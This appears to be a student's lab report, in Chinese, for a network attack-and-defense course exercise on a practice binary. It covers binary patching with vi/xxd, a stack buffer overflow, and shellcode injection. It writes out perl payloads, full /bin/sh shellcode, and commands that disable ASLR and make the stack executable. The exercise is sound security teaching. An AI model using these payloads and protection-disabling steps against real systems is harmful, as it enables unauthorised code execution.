2018-2019-2 网络对抗技术 20165329 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165329 Exp1 PC平台逆向破解
作业内容
评分标准:
- 截图要求:
1.1 所有操作截图主机名为本人姓名拼音
1.2 所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩。
2 报告内容
2.1 用自己的话回答以下问题:
2.1.1 实验收获与感想
2.1.2 什么是漏洞?漏洞有什么危害?
2.2 需要描述的内容
2.2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
2.2.2掌握反汇编与十六进制编程器 (0.5分)
2.2.3能正确修改机器指令改变程序执行流程(0.5分)
2.2.4能正确构造payload进行bof攻击(0.5分)
3.报告整体观感
3.1 报告格式范围,版面整洁 加0.5。
3.2 报告排版混乱,加0分。
4.文字表述
4.1报告文字内容非常全面,表述清晰准确 加1分。
4.2报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。
4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。
实验收获与感想
通过这次实验,让我对本次实验的缓冲区溢出攻击的原理有了一定的了解。通过询问同学,查考网上资料慢慢的一步一步解决了实验的难点,虽然对此次实验的原理没有理解的那么深入,但是还是受益匪浅,更加喜欢上了这门课程。
什么是漏洞?漏洞有什么危害?
我觉得漏洞是在设计制造程序产品时,只考虑该程序的功能实现,未充分考虑其安全性的问题,导致程序在安全策略上存在缺陷,使得攻击者可利用该缺陷进行破环与攻击。它的危害可能会取得该程序的控制权,进而通过命令控制整个主机,导致受到攻击。
NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
- JNE汇编指令:条件转移指令,如果不相等则跳转。
- JE汇编指令:如果条件相等则跳转。
- JMP汇编指令:直接跳转到所需跳转的位置。
- CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
任务一、直接修改程序机器指令,改变程序执行流程
1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1
,反汇编pwn1文件。
2、反汇编结束后发现:main函数里面有一步call 8048491<foo>
,机器码指令为e8 d7 ff ff ff
(call的机器码就是e8,后面是地址)。
通过进一步的分析:08048491是0804847d是我们的跳转目标。
0x08048491 - 0x0804847d = 0x00000014//计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3//计算要篡改的目标地址
vi pwn1
进入命令模式- 输入
:%!xxd
将显示模式切换为十六进制 - 在底行模式输入
/e8 d7
定位需要修改的地方,并确认 - 进入插入模式,修改
d7
为c3
- 输入
:%!xxd -r
将十六进制转换为原格式 - 使用:
wq
保存并退出
通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff
4、执行./pwn1
文件可以成功获取shell:
完成第一个实验。
二、通过构造输入参数,造成BoF攻击,改变程序执行流
1、
使用gdb
命令,file pwn1
载入pwn1文件,输入gdb pwn1。
输入r
执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串。
输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890
2、
此时eip寄存器中的值为0x30393837,eip
寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。
我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:
‘
完成第二个实验。
三、注入Shellcode并执行
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 首先使用apt-get install execstack命令安装execstack。
修改以下内容
- 设置堆栈可执行execstack -s pwn1
- 查询文件的堆栈是否可执行 execstack -q pwn1
- 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
-
查询地址随机化是否关闭(0代表关闭,2代表开启)
more /proc/sys/kernel/randomize_va_space
- 采用老师提供的shellcode 的代码
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
- 用perl语言输入代码
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段
shellcode
的地址。
确定返回地址的值
- 将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖
(cat input_shellcode;cat) | ./pwn1
- 打开另外一个终端,用gdb来调试pwn1这个进程
ps -ef | grep pwn1
确定pwn1的进程号- 启动gdb调试这个程序
gdb
attach 5305
- 设置断点来查看注入buf的内存地址
disassemble foo
- ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
- break *0x080484ae设置断点
- 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
- 再在gdb调试的终端输入 c 继续运行程序
- 通过info r esp查看esp寄存器的地址
-
下图可以看到0x01020304所在的地址为
0xffffd22c
,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffffd22c + 0x00000004 = 0xffffd230
-
退出gdp调试。
-
输入
perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 执行程序,攻击成功
第三个实验完成